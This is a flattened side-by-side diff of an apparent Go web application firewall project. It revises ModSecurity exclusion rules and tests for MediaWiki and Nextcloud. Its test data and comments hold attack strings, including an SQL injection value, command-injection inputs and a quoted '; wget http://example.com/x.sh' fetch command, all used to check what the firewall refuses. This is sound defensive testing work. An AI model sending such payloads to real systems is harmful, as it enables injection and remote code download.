{ {"/settings/two_factor_authentication/otp_authentication", formData, challenge},
"/settings/two_factor_authentication/otp_authentication", {"/settings/two_factor_authentication_methods/disable", formData, challenge},
formData,
challenge,
},
{
"/settings/two_factor_authentication_methods/disable",
formData,
challenge,
},
}) })
} }
@@ -610,11 +508,7 @@ func TestMastodonReportKeysPassByNameOnReportsOnly(t *testing.T) {
{mastodonReport, "false"}, {mastodonReport, "false"},
{mastodonForwardedReport, "remote.example"}, {mastodonForwardedReport, "remote.example"},
} { } {
report := mastodonBodyField{ report := mastodonBodyField{http.MethodPost, mastodonReports, sent.body}
http.MethodPost,
mastodonReports,
sent.body,
}
if got := mastodonJSON(t, report, sent.value); got >= mastodonThreshold { if got := mastodonJSON(t, report, sent.value); got >= mastodonThreshold {
t.Errorf("%v refused: %d", report, got) t.Errorf("%v refused: %d", report, got)
} }
@@ -678,20 +572,12 @@ func TestMastodonUsernamesAndHashtagsSkipOnlyTwoRules(t *testing.T) {
} }
// Elsewhere both keep the two rules. // Elsewhere both keep the two rules.
signIn := mastodonBodyField{ signIn := mastodonBodyField{http.MethodPost, mastodonSignIn, mastodonUsername.field}
http.MethodPost,
mastodonSignIn,
mastodonUsername.field,
}
if mastodonForm(t, signIn, "python3") < mastodonThreshold { if mastodonForm(t, signIn, "python3") < mastodonThreshold {
t.Errorf("%v let through", signIn) t.Errorf("%v let through", signIn)
} }
statuses := mastodonBodyField{ statuses := mastodonBodyField{http.MethodPost, mastodonStatuses, mastodonHashtag.field}
http.MethodPost,
mastodonStatuses,
mastodonHashtag.field,
}
if mastodonJSON(t, statuses, "python3") < mastodonThreshold { if mastodonJSON(t, statuses, "python3") < mastodonThreshold {
t.Errorf("%v let through", statuses) t.Errorf("%v let through", statuses)
} }
@@ -731,11 +617,7 @@ func TestMastodonEmailAddressesSkipThreeRules(t *testing.T) {
// Elsewhere the address keeps every rule. // Elsewhere the address keeps every rule.
for _, target := range []string{"/oauth/authorize", "/authorize", "/x/auth"} { for _, target := range []string{"/oauth/authorize", "/authorize", "/x/auth"} {
sent := mastodonBodyField{http.MethodPost, target, mastodonEmail} sent := mastodonBodyField{http.MethodPost, target, mastodonEmail}
if mastodonForm( if mastodonForm(t, sent, "python3%40example.com") < mastodonThreshold {
t,
sent,
"python3%40example.com",
) < mastodonThreshold {
t.Errorf("%v let through", sent) t.Errorf("%v let through", sent)
} }
} }
+5 -19
View File
@@ -1,12 +1,12 @@
# MediaWiki's fixes: on MediaWiki's paths, some fields skip the rules that # The eleventh change: on MediaWiki's paths, some fields skip the rules that
# refused ordinary MediaWiki requests there. They are the fields where MediaWiki # refused ordinary MediaWiki requests there. They are the fields where MediaWiki
# sends a search, a title, a name, a file name, an address, a summary or a # sends a search, a title, a name, a file name, an address, a summary or a
# reason, and the fields that hold wikitext. Each exclusion runs with the # reason, and the fields that hold wikitext. Each exclusion runs with the
# request, before the rules it switches off, so this file is loaded before the # request, before the rules it switches off, so this file is loaded before the
# Core Rule Set's rules. Each comment names a request a rule refused. An # Core Rule Set's rules. Each comment names a request a rule refused. An
# exclusion on a field of a body applies only when the query has no parameter of # exclusion on a field of a body applies only when the query has no parameter of
# that name, so it matters only while SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is set. # that name, so it matters only while SWW_WAF_BODY_LIMIT is set. MediaWiki's
# MediaWiki's paths are matched at the site root and under /w/. # paths are matched at the site root and under /w/.
# #
# WordPress serves /index.php too. So /index.php counts as MediaWiki's only # WordPress serves /index.php too. So /index.php counts as MediaWiki's only
# with a page title, in the query or after the path: # with a page title, in the query or after the path:
@@ -21,13 +21,6 @@
# 932250: ls -la # 932250: ls -la
# 932260: python3 # 932260: python3
# Every rule below is skipped unless Inspect has set tx.app_mediawiki. It sets
# it while SWW_WAF_APPS is unset, or lists mediawiki for the request's hostname.
# The skip reaches only phase 1, so a rule of a later phase must check
# tx.app_mediawiki itself.
SecRule &TX:app_mediawiki "@eq 0" \
"id:900890,phase:1,pass,nolog,skipAfter:END_MEDIAWIKI"
# The pages and their titles, the searches, and the special pages' fields # The pages and their titles, the searches, and the special pages' fields
# for a page, a user, a file or an address: # for a page, a user, a file or an address:
# title: /index.php?title=Python3_notes&action=history # title: /index.php?title=Python3_notes&action=history
@@ -215,12 +208,10 @@ SecRule REQUEST_FILENAME "@rx ^/(?:w/)?api\.php$" \
# Spezial:. The title follows /index.php/ or /wiki/ in the path, or is the title # Spezial:. The title follows /index.php/ or /wiki/ in the path, or is the title
# of /index.php. A title on any other path does not count, so another app's # of /index.php. A title on any other path does not count, so another app's
# paths under /index.php/ keep every rule. These rules are in phase 2, because # paths under /index.php/ keep every rule. These rules are in phase 2, because
# the forms send authAction in the body. They check tx.app_mediawiki, since the # the forms send authAction in the body.
# skip above does not reach phase 2.
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php$|^/(?:(?:w/)?index\.php|wiki)/[^/:]+:" \ SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php$|^/(?:(?:w/)?index\.php|wiki)/[^/:]+:" \
"id:900919,phase:2,pass,nolog,chain" "id:900919,phase:2,pass,nolog,chain"
SecRule REQUEST_FILENAME|ARGS_GET:title "@rx ^(?:/(?:(?:w/)?index\.php|wiki)/)?[^/:]+:" "chain" SecRule REQUEST_FILENAME|ARGS_GET:title "@rx ^(?:/(?:(?:w/)?index\.php|wiki)/)?[^/:]+:" "chain"
SecRule &TX:app_mediawiki "@eq 1" "chain"
SecRule &ARGS_GET:/^(?:password|retype)$/ "@eq 0" "chain" SecRule &ARGS_GET:/^(?:password|retype)$/ "@eq 0" "chain"
SecRule ARGS:authAction "@streq change" \ SecRule ARGS:authAction "@streq change" \
"ctl:ruleRemoveTargetById=920270;ARGS:/^(?:password|retype)$/,\ "ctl:ruleRemoveTargetById=920270;ARGS:/^(?:password|retype)$/,\
@@ -262,7 +253,6 @@ SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php$|^/(?:(?:w/)?index\.php|wiki)/
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php$|^/(?:(?:w/)?index\.php|wiki)/[^/:]+:" \ SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php$|^/(?:(?:w/)?index\.php|wiki)/[^/:]+:" \
"id:900920,phase:2,pass,nolog,chain" "id:900920,phase:2,pass,nolog,chain"
SecRule REQUEST_FILENAME|ARGS_GET:title "@rx ^(?:/(?:(?:w/)?index\.php|wiki)/)?[^/:]+:" "chain" SecRule REQUEST_FILENAME|ARGS_GET:title "@rx ^(?:/(?:(?:w/)?index\.php|wiki)/)?[^/:]+:" "chain"
SecRule &TX:app_mediawiki "@eq 1" "chain"
SecRule &ARGS_GET:retype "@eq 0" "chain" SecRule &ARGS_GET:retype "@eq 0" "chain"
SecRule ARGS:authAction "@rx ^(?:create|login-continue)$" \ SecRule ARGS:authAction "@rx ^(?:create|login-continue)$" \
"ctl:ruleRemoveTargetById=920270;ARGS:retype,\ "ctl:ruleRemoveTargetById=920270;ARGS:retype,\
@@ -391,12 +381,10 @@ SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
# This rule is in phase 2, because a phase 1 rule runs before the body is read # This rule is in phase 2, because a phase 1 rule runs before the body is read
# and cannot see what wpTitles holds. It checks that the body sends wpTitles # and cannot see what wpTitles holds. It checks that the body sends wpTitles
# once, since it would otherwise skip these rules for a second wpTitles # once, since it would otherwise skip these rules for a second wpTitles
# holding a command. It checks tx.app_mediawiki, since the skip above does not # holding a command.
# reach phase 2.
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \ SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
"id:900916,phase:2,pass,nolog,chain" "id:900916,phase:2,pass,nolog,chain"
SecRule REQUEST_FILENAME|ARGS_GET_NAMES "@rx ^/(?:w/)?index\.php/.|^/wiki/|^title$" "chain" SecRule REQUEST_FILENAME|ARGS_GET_NAMES "@rx ^/(?:w/)?index\.php/.|^/wiki/|^title$" "chain"
SecRule &TX:app_mediawiki "@eq 1" "chain"
SecRule &ARGS_GET:wpTitles "@eq 0" "chain" SecRule &ARGS_GET:wpTitles "@eq 0" "chain"
SecRule &ARGS_POST:wpTitles "@eq 1" "chain" SecRule &ARGS_POST:wpTitles "@eq 1" "chain"
SecRule ARGS_POST:wpTitles "!@rx [;|&`{]" \ SecRule ARGS_POST:wpTitles "!@rx [;|&`{]" \
@@ -405,5 +393,3 @@ SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
ctl:ruleRemoveTargetById=932235;ARGS:wpTitles,\ ctl:ruleRemoveTargetById=932235;ARGS:wpTitles,\
ctl:ruleRemoveTargetById=932260;ARGS:wpTitles,\ ctl:ruleRemoveTargetById=932260;ARGS:wpTitles,\
ctl:ruleRemoveTargetById=932380;ARGS:wpTitles" ctl:ruleRemoveTargetById=932380;ARGS:wpTitles"
SecMarker END_MEDIAWIKI
+14 -186
View File
@@ -5,16 +5,11 @@ import (
"slices" "slices"
"strings" "strings"
"testing" "testing"
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
) )
// mediawikiThreshold is SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default. // mediawikiThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
const mediawikiThreshold = 5 const mediawikiThreshold = 5
// mediawiki is MediaWiki's name in SWW_WAF_APPS.
const mediawiki = "mediawiki"
// mediawikiEdit is the address MediaWiki's edit form posts to. // mediawikiEdit is the address MediaWiki's edit form posts to.
const mediawikiEdit = "/index.php?title=Example&action=submit" const mediawikiEdit = "/index.php?title=Example&action=submit"
@@ -54,117 +49,6 @@ const (
mediawikiUploadPage = "/index.php/Special:Upload" mediawikiUploadPage = "/index.php/Special:Upload"
) )
func TestMediaWikiFixesApplyOnlyToAHostnameThatServesMediaWiki(
t *testing.T,
) {
t.Parallel()
crs := servingApps(t, map[string][]string{
giteaHost: {gitea}, otherHost: {mediawiki},
})
// A search, which only MediaWiki's fixes let through.
search := get("/index.php?title=Special:Search&search=python3")
wantResult(t, crs, withHost(search, otherHost), coreruleset.Result{})
wantResult(t, crs, withHost(search, giteaHost), matched(932260))
}
func TestMediaWikiWatchlistFixAppliesOnlyToAHostnameThatServesMediaWiki(
t *testing.T,
) {
t.Parallel()
crs := shared(t, coreruleset.Params{
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyInspectionSize: bodyLimit,
Apps: map[string][]string{
giteaHost: {gitea},
otherHost: {mediawiki},
},
})
// A watchlist that only the phase 2 rule 900916 lets through.
r := request{
http.MethodPost,
mediawikiWatchlist.target,
[]string{formData},
}
body := mediawikiWatchlist.field + "Lighthouse%20notes%0D%0APython3%20notes"
got, _ := inspectBody(t, crs, withHost(r, otherHost), body)
if got.Score >= mediawikiThreshold {
t.Errorf(
"POST %s %s on %s refused: %+v",
r.target,
body,
otherHost,
got,
)
}
got, _ = inspectBody(t, crs, withHost(r, giteaHost), body)
if got.Score < mediawikiThreshold {
t.Errorf(
"POST %s %s on %s let through: %+v",
r.target,
body,
giteaHost,
got,
)
}
}
func TestMediaWikiPasswordFixesApplyOnlyToAHostnameThatServesMediaWiki(
t *testing.T,
) {
t.Parallel()
crs := shared(t, coreruleset.Params{
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyInspectionSize: bodyLimit,
Apps: map[string][]string{
giteaHost: {gitea},
otherHost: {mediawiki},
},
})
// Passwords that only the phase 2 rules 900919 and 900920 let through,
// each sent with the authAction of its form.
for _, sent := range []struct{ target, body string }{
{
mediawikiAccountChange,
formBody("authAction", "change") + "&" + formBody(passwordKey, "' OR '1'='1"),
},
{
mediawikiSignUp,
formBody("authAction", "create") + "&" + formBody(retypeKey, "' OR '1'='1"),
},
} {
r := request{http.MethodPost, sent.target, []string{formData}}
got, _ := inspectBody(t, crs, withHost(r, otherHost), sent.body)
if got.Score >= mediawikiThreshold {
t.Errorf(
"POST %s %s on %s refused: %+v",
r.target,
sent.body,
otherHost,
got,
)
}
got, _ = inspectBody(t, crs, withHost(r, giteaHost), sent.body)
if got.Score < mediawikiThreshold {
t.Errorf(
"POST %s %s on %s let through: %+v",
r.target,
sent.body,
giteaHost,
got,
)
}
}
}
// mediawikiQueryFields and mediawikiBodyFields together hold every field that // mediawikiQueryFields and mediawikiBodyFields together hold every field that
// skips 930120, 932120, 932250 and 932260, other than wikitext, wpTitles, // skips 930120, 932120, 932250 and 932260, other than wikitext, wpTitles,
// the passwords and the JSON fields of /rest.php/. mediawikiQueryFields sends // the passwords and the JSON fields of /rest.php/. mediawikiQueryFields sends
@@ -337,13 +221,7 @@ func TestMediaWikiAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
got, _ := inspectBody(t, crs, r, sent.field+attack) got, _ := inspectBody(t, crs, r, sent.field+attack)
if got.Score < mediawikiThreshold { if got.Score < mediawikiThreshold {
t.Errorf( t.Errorf("POST %s %s%s let through: %+v", sent.target, sent.field, attack, got)
"POST %s %s%s let through: %+v",
sent.target,
sent.field,
attack,
got,
)
} }
} }
} }
@@ -353,11 +231,7 @@ func TestMediaWikiAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
scriptTag, scriptTag,
} { } {
for _, field := range []string{"source", "comment"} { for _, field := range []string{"source", "comment"} {
r := request{ r := request{http.MethodPut, mediawikiRESTPage, []string{jsonBody}}
http.MethodPut,
mediawikiRESTPage,
[]string{jsonBody},
}
body := `{"` + field + `":"` + attack + `"}` body := `{"` + field + `":"` + attack + `"}`
got, _ := inspectBody(t, crs, r, body) got, _ := inspectBody(t, crs, r, body)
@@ -396,31 +270,15 @@ func TestMediaWikiSignUpAndPasswordChangeFieldsPass(t *testing.T) {
{"/wiki/Special:UserLogin?" + loginContinue, formData, retype}, {"/wiki/Special:UserLogin?" + loginContinue, formData, retype},
{mediawikiSignIn + "&" + loginContinue, formData, retype}, {mediawikiSignIn + "&" + loginContinue, formData, retype},
{mediawikiAccountChange + "?" + changeAction, formData, change}, {mediawikiAccountChange + "?" + changeAction, formData, change},
{ {mediawikiAccountChange + subpage + "?" + changeAction, formData, change},
mediawikiAccountChange + subpage + "?" + changeAction, {"/index.php/Special:ChangeCredentials?" + changeAction, formData, change},
formData,
change,
},
{
"/index.php/Special:ChangeCredentials?" + changeAction,
formData,
change,
},
{ {
"/index.php?title=Special:ChangeCredentials" + subpage + "&" + changeAction, "/index.php?title=Special:ChangeCredentials" + subpage + "&" + changeAction,
formData, change, formData, change,
}, },
{ {"/w/index.php?title=Special:ChangeCredentials&" + changeAction, formData, change},
"/w/index.php?title=Special:ChangeCredentials&" + changeAction,
formData,
change,
},
// A German wiki's names for the same pages. // A German wiki's names for the same pages.
{ {"/index.php/Spezial:Benutzerkonto_anlegen?" + create, formData, retype},
"/index.php/Spezial:Benutzerkonto_anlegen?" + create,
formData,
retype,
},
{ {
"/index.php?title=Spezial:Anmelden&returnto=Hauptseite&" + loginContinue, "/index.php?title=Spezial:Anmelden&returnto=Hauptseite&" + loginContinue,
formData, retype, formData, retype,
@@ -461,12 +319,7 @@ func TestMediaWikiPasswordFieldsStayCheckedOffTheirPages(t *testing.T) {
body := formBody(sent.name, "' OR '1'='1") body := formBody(sent.name, "' OR '1'='1")
if got, _ := inspectBody(t, crs, r, body); got.Score < mediawikiThreshold { if got, _ := inspectBody(t, crs, r, body); got.Score < mediawikiThreshold {
t.Errorf( t.Errorf("POST %s %s let through: %+v", sent.target, sent.name, got)
"POST %s %s let through: %+v",
sent.target,
sent.name,
got,
)
} }
} }
} }
@@ -497,9 +350,7 @@ func TestMediaWikiCommandAttackIsRefusedOutsideWikitext(t *testing.T) {
crs := atDefaults(t) crs := atDefaults(t)
targets := append( targets := append([]string{"/load.php?modules="}, mediawikiQueryFields...)
[]string{"/load.php?modules="},
mediawikiQueryFields...)
for _, target := range targets { for _, target := range targets {
got := inspect(t, crs, get(target+mediawikiCommandAttack)) got := inspect(t, crs, get(target+mediawikiCommandAttack))
@@ -516,12 +367,7 @@ func TestMediaWikiCommandAttackIsRefusedOutsideWikitext(t *testing.T) {
got, _ := inspectBody(t, crs, r, sent.field+mediawikiCommandAttack) got, _ := inspectBody(t, crs, r, sent.field+mediawikiCommandAttack)
if got.Score < mediawikiThreshold { if got.Score < mediawikiThreshold {
t.Errorf( t.Errorf("POST %s %s let through: %+v", sent.target, sent.field, got)
"POST %s %s let through: %+v",
sent.target,
sent.field,
got,
)
} }
} }
@@ -536,11 +382,7 @@ func TestMediaWikiCommandAttackIsRefusedOutsideWikitext(t *testing.T) {
// wpTitles skips 932125, 932230, 932235, 932260 and 932380 only when it // wpTitles skips 932125, 932230, 932235, 932260 and 932380 only when it
// holds no ";", "|", "&", backtick or "{", and only when the body sends // holds no ";", "|", "&", backtick or "{", and only when the body sends
// it once. // it once.
r = request{ r = request{http.MethodPost, mediawikiWatchlist.target, []string{formData}}
http.MethodPost,
mediawikiWatchlist.target,
[]string{formData},
}
for _, attack := range []string{ for _, attack := range []string{
mediawikiCommandAttack, mediawikiCommandAttack,
@@ -586,13 +428,7 @@ func TestMediaWikiHardValuesPassInTheExcludedFields(t *testing.T) {
got, _ := inspectBody(t, crs, r, sent.field+value) got, _ := inspectBody(t, crs, r, sent.field+value)
if got.Score >= mediawikiThreshold { if got.Score >= mediawikiThreshold {
t.Errorf( t.Errorf("POST %s %s%s refused: %+v", sent.target, sent.field, value, got)
"POST %s %s%s refused: %+v",
sent.target,
sent.field,
value,
got,
)
} }
} }
@@ -608,11 +444,7 @@ func TestMediaWikiHardValuesPassInTheExcludedFields(t *testing.T) {
} }
// A watchlist holds the title on its second line, as recorded. // A watchlist holds the title on its second line, as recorded.
r := request{ r := request{http.MethodPost, mediawikiWatchlist.target, []string{formData}}
http.MethodPost,
mediawikiWatchlist.target,
[]string{formData},
}
body := mediawikiWatchlist.field + "Lighthouse%20notes%0D%0A" + value + "%20notes" body := mediawikiWatchlist.field + "Lighthouse%20notes%0D%0A" + value + "%20notes"
if got, _ := inspectBody(t, crs, r, body); got.Score >= mediawikiThreshold { if got, _ := inspectBody(t, crs, r, body); got.Score >= mediawikiThreshold {
@@ -685,11 +517,7 @@ func TestMediaWikiBodyFieldsStayCheckedInTheQuery(t *testing.T) {
{"/index.php?title=Special:EditWatchlist/raw", "wpTitles=python3"}, {"/index.php?title=Special:EditWatchlist/raw", "wpTitles=python3"},
{mediawikiAPI + "?action=edit", "text=python3"}, {mediawikiAPI + "?action=edit", "text=python3"},
} { } {
r := request{ r := request{http.MethodPost, sent.target + "&" + sent.field, []string{formData}}
http.MethodPost,
sent.target + "&" + sent.field,
[]string{formData},
}
got, _ := inspectBody(t, crs, r, sent.field) got, _ := inspectBody(t, crs, r, sent.field)
if got.Score < mediawikiThreshold { if got.Score < mediawikiThreshold {
+3 -15
View File
@@ -1,13 +1,12 @@
# Nextcloud's fixes: on Nextcloud's paths, some fields skip the rules that # The fourteenth change: on Nextcloud's paths, some fields skip the rules that
# refused ordinary Nextcloud requests there. They are the fields where Nextcloud # refused ordinary Nextcloud requests there. They are the fields where Nextcloud
# sends a search, a name, a file name, a folder, a comment, a note, a status or # sends a search, a name, a file name, a folder, a comment, a note, a status or
# a document's text. Each exclusion runs with the request, before the rules it # a document's text. Each exclusion runs with the request, before the rules it
# switches off, so this file is loaded before the Core Rule Set's rules. Each # switches off, so this file is loaded before the Core Rule Set's rules. Each
# comment names a request a rule refused. An exclusion on a field of a JSON body # comment names a request a rule refused. An exclusion on a field of a JSON body
# applies only when the query has no parameter of that name, so it matters only # applies only when the query has no parameter of that name, so it matters only
# while SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is set. Nextcloud's pages are matched # while SWW_WAF_BODY_LIMIT is set. Nextcloud's pages are matched at the site
# at the site root and under /index.php/, where a Nextcloud without pretty URLs # root and under /index.php/, where a Nextcloud without pretty URLs serves them.
# serves them.
# #
# Four rules read a search or a name as a command or a system file: # Four rules read a search or a name as a command or a system file:
# 930120: .htaccess # 930120: .htaccess
@@ -30,13 +29,6 @@
# "; wget http://example.com/x.sh" reaches Nextcloud in these fields. SQL # "; wget http://example.com/x.sh" reaches Nextcloud in these fields. SQL
# injection, path traversal and script injection are still refused there. # injection, path traversal and script injection are still refused there.
# Every rule below is skipped unless Inspect has set tx.app_nextcloud. It sets
# it while SWW_WAF_APPS is unset, or lists nextcloud for the request's hostname.
# The skip reaches only phase 1, so a rule of a later phase must check
# tx.app_nextcloud itself.
SecRule &TX:app_nextcloud "@eq 0" \
"id:900090,phase:1,pass,nolog,skipAfter:END_NEXTCLOUD"
# The sync client and the Files app use these WebDAV methods besides those # The sync client and the Files app use these WebDAV methods besides those
# the first change allows, on /remote.php/dav/ and /public.php/dav/ and on the # the first change allows, on /remote.php/dav/ and /public.php/dav/ and on the
# older /remote.php/webdav/ and /public.php/webdav/. 911100 refused each: # older /remote.php/webdav/ and /public.php/webdav/. 911100 refused each:
@@ -163,10 +155,8 @@ SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?(?:login/confirm|lostpassword/se
# change: key=password&value=..., or the same in JSON. This rule is in phase 2, # change: key=password&value=..., or the same in JSON. This rule is in phase 2,
# because a phase 1 rule runs before the body is read. It checks that the body # because a phase 1 rule runs before the body is read. It checks that the body
# sends key once, so a second key cannot skip these rules for another field. # sends key once, so a second key cannot skip these rules for another field.
# It checks tx.app_nextcloud, since the skip above does not reach phase 2.
SecRule REQUEST_FILENAME "@rx ^/ocs/v[12]\.php/cloud/users/[^/]+$" \ SecRule REQUEST_FILENAME "@rx ^/ocs/v[12]\.php/cloud/users/[^/]+$" \
"id:900127,phase:2,pass,nolog,chain" "id:900127,phase:2,pass,nolog,chain"
SecRule &TX:app_nextcloud "@eq 1" "chain"
SecRule &ARGS_GET:/^(?:json\.)?(?:key|value)$/ "@eq 0" "chain" SecRule &ARGS_GET:/^(?:json\.)?(?:key|value)$/ "@eq 0" "chain"
SecRule &ARGS_POST:/^(?:json\.)?key$/ "@eq 1" "chain" SecRule &ARGS_POST:/^(?:json\.)?key$/ "@eq 1" "chain"
SecRule ARGS_POST:/^(?:json\.)?key$/ "@streq password" \ SecRule ARGS_POST:/^(?:json\.)?key$/ "@streq password" \
@@ -451,5 +441,3 @@ SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/addressbooks/" \
SecRule REQUEST_METHOD "@streq MKCOL" \ SecRule REQUEST_METHOD "@streq MKCOL" \
"ctl:ruleRemoveTargetById=932125;XML:/*,\ "ctl:ruleRemoveTargetById=932125;XML:/*,\
ctl:ruleRemoveTargetById=932230;XML:/*" ctl:ruleRemoveTargetById=932230;XML:/*"
SecMarker END_NEXTCLOUD
+29 -245
View File
@@ -13,7 +13,7 @@ import (
"sneak.berlin/go/smallwebwaf/internal/coreruleset" "sneak.berlin/go/smallwebwaf/internal/coreruleset"
) )
// nextcloudThreshold is SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default. // nextcloudThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
const nextcloudThreshold = 5 const nextcloudThreshold = 5
// nextcloudSignIn is the sign-in page. // nextcloudSignIn is the sign-in page.
@@ -51,95 +51,6 @@ const (
// nextcloudOther is a JSON field no exclusion names. // nextcloudOther is a JSON field no exclusion names.
const nextcloudOther = `{"other":"python3"}` const nextcloudOther = `{"other":"python3"}`
// nextcloud is Nextcloud's name in SWW_WAF_APPS.
const nextcloud = "nextcloud"
func TestNextcloudFixesApplyOnlyToAHostnameThatServesNextcloud(
t *testing.T,
) {
t.Parallel()
crs := servingApps(t, map[string][]string{
giteaHost: {gitea}, otherHost: {nextcloud},
})
// A search, which only Nextcloud's fixes let through.
search := get(nextcloudUsers + "?search=python3")
wantResult(t, crs, withHost(search, otherHost), coreruleset.Result{})
wantResult(t, crs, withHost(search, giteaHost), matched(932260))
}
func TestNextcloudWebDAVMethodsPassOnlyOnHostnamesThatServeNextcloud(
t *testing.T,
) {
t.Parallel()
crs := servingApps(t, map[string][]string{
giteaHost: {gitea}, otherHost: {nextcloud},
})
// Listing a folder, as the sync client does.
list := request{nextcloudPropFind, nextcloudFiles, nil}
wantResult(t, crs, withHost(list, otherHost), coreruleset.Result{})
wantResult(t, crs, withHost(list, giteaHost), matched(911100))
// Making a calendar, as a CalDAV client does.
calendar := request{
nextcloudMkcalendar,
nextcloudCalendars + "work/",
nil,
}
wantResult(t, crs, withHost(calendar, otherHost), coreruleset.Result{})
wantResult(t, crs, withHost(calendar, giteaHost), matched(911100))
}
func TestNextcloudPasswordInValuePassesOnlyOnHostnamesThatServeNextcloud(
t *testing.T,
) {
t.Parallel()
crs := shared(t, coreruleset.Params{
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyInspectionSize: bodyLimit,
Apps: map[string][]string{
giteaHost: {gitea},
otherHost: {nextcloud},
},
})
// A password that only the phase 2 rule 900127 lets through.
r := request{
http.MethodPut,
nextcloudUsers + "/alice",
[]string{formData},
}
body := "key=password&value=" + url.QueryEscape("' OR '1'='1")
got, _ := inspectBody(t, crs, withHost(r, otherHost), body)
if got.Score >= nextcloudThreshold {
t.Errorf(
"PUT %s %s on %s refused: %+v",
r.target,
body,
otherHost,
got,
)
}
got, _ = inspectBody(t, crs, withHost(r, giteaHost), body)
if got.Score < nextcloudThreshold {
t.Errorf(
"PUT %s %s on %s let through: %+v",
r.target,
body,
giteaHost,
got,
)
}
}
// nextcloudQueryFields are the query fields that skip 930120, 932120, 932250 // nextcloudQueryFields are the query fields that skip 930120, 932120, 932250
// and 932260, each on a path where it skips them, ending in "=". // and 932260, each on a path where it skips them, ending in "=".
// //
@@ -196,12 +107,7 @@ var nextcloudBodies = []nextcloudBody{
http.MethodPut, nextcloudUsers + "/admin", http.MethodPut, nextcloudUsers + "/admin",
jsonBody, `{"key":"headline","value":"%s"}`, jsonBody, `{"key":"headline","value":"%s"}`,
}, },
{ {http.MethodPost, "/ocs/v2.php/cloud/groups", jsonBody, `{"groupid":"%s"}`},
http.MethodPost,
"/ocs/v2.php/cloud/groups",
jsonBody,
`{"groupid":"%s"}`,
},
{http.MethodPost, nextcloudShares, jsonBody, `{"path":"/%s"}`}, {http.MethodPost, nextcloudShares, jsonBody, `{"path":"/%s"}`},
{http.MethodPost, nextcloudShares, jsonBody, `{"shareWith":"%s"}`}, {http.MethodPost, nextcloudShares, jsonBody, `{"shareWith":"%s"}`},
{http.MethodPut, nextcloudShares + "/1", jsonBody, `{"label":"%s"}`}, {http.MethodPut, nextcloudShares + "/1", jsonBody, `{"label":"%s"}`},
@@ -209,42 +115,17 @@ var nextcloudBodies = []nextcloudBody{
http.MethodPost, "/apps/theming/ajax/updateStylesheet", http.MethodPost, "/apps/theming/ajax/updateStylesheet",
jsonBody, `{"setting":"slogan","value":"%s"}`, jsonBody, `{"setting":"slogan","value":"%s"}`,
}, },
{ {http.MethodPost, nextcloudSave, jsonBody, `{"filePath":"/%s/Readme.md"}`},
http.MethodPost, {http.MethodPost, "/remote.php/dav/systemtags/", jsonBody, `{"name":"%s"}`},
nextcloudSave,
jsonBody,
`{"filePath":"/%s/Readme.md"}`,
},
{
http.MethodPost,
"/remote.php/dav/systemtags/",
jsonBody,
`{"name":"%s"}`,
},
{ {
nextcloudSearch, "/remote.php/dav/", xmlBody, nextcloudSearch, "/remote.php/dav/", xmlBody,
`<d:searchrequest xmlns:d="DAV:"><d:basicsearch><d:where><d:like>` + `<d:searchrequest xmlns:d="DAV:"><d:basicsearch><d:where><d:like>` +
`<d:prop><d:displayname/></d:prop><d:literal>%%s%</d:literal>` + `<d:prop><d:displayname/></d:prop><d:literal>%%s%</d:literal>` +
`</d:like></d:where></d:basicsearch></d:searchrequest>`, `</d:like></d:where></d:basicsearch></d:searchrequest>`,
}, },
{ {nextcloudMkcol, nextcloudCalendars + "work", xmlBody, nextcloudNewCollection},
nextcloudMkcol, {nextcloudMkcol, nextcloudAddressBooks + "team", xmlBody, nextcloudNewCollection},
nextcloudCalendars + "work", {nextcloudMkcalendar, nextcloudCalendars + "work/", xmlBody, nextcloudNewCalendar},
xmlBody,
nextcloudNewCollection,
},
{
nextcloudMkcol,
nextcloudAddressBooks + "team",
xmlBody,
nextcloudNewCollection,
},
{
nextcloudMkcalendar,
nextcloudCalendars + "work/",
xmlBody,
nextcloudNewCalendar,
},
} }
// The WebDAV methods that make a calendar or an address book. // The WebDAV methods that make a calendar or an address book.
@@ -306,12 +187,7 @@ var nextcloudDocument = nextcloudBody{
//nolint:gochecknoglobals // a constant cannot be a list //nolint:gochecknoglobals // a constant cannot be a list
var nextcloudTexts = []nextcloudBody{ var nextcloudTexts = []nextcloudBody{
nextcloudDocument, nextcloudDocument,
{ {http.MethodPost, "/remote.php/dav/comments/files/1", jsonBody, `{"message":"%s"}`},
http.MethodPost,
"/remote.php/dav/comments/files/1",
jsonBody,
`{"message":"%s"}`,
},
{ {
nextcloudPropPatch, "/remote.php/dav/comments/files/1/2", xmlBody, nextcloudPropPatch, "/remote.php/dav/comments/files/1/2", xmlBody,
`<d:propertyupdate xmlns:d="DAV:" xmlns:oc="http://owncloud.org/ns">` + `<d:propertyupdate xmlns:d="DAV:" xmlns:oc="http://owncloud.org/ns">` +
@@ -319,12 +195,7 @@ var nextcloudTexts = []nextcloudBody{
`</d:propertyupdate>`, `</d:propertyupdate>`,
}, },
{http.MethodPut, nextcloudShares + "/1", jsonBody, `{"note":"%s"}`}, {http.MethodPut, nextcloudShares + "/1", jsonBody, `{"note":"%s"}`},
{ {http.MethodPost, nextcloudShares, jsonBody, `{"path":"/Notes","note":"%s"}`},
http.MethodPost,
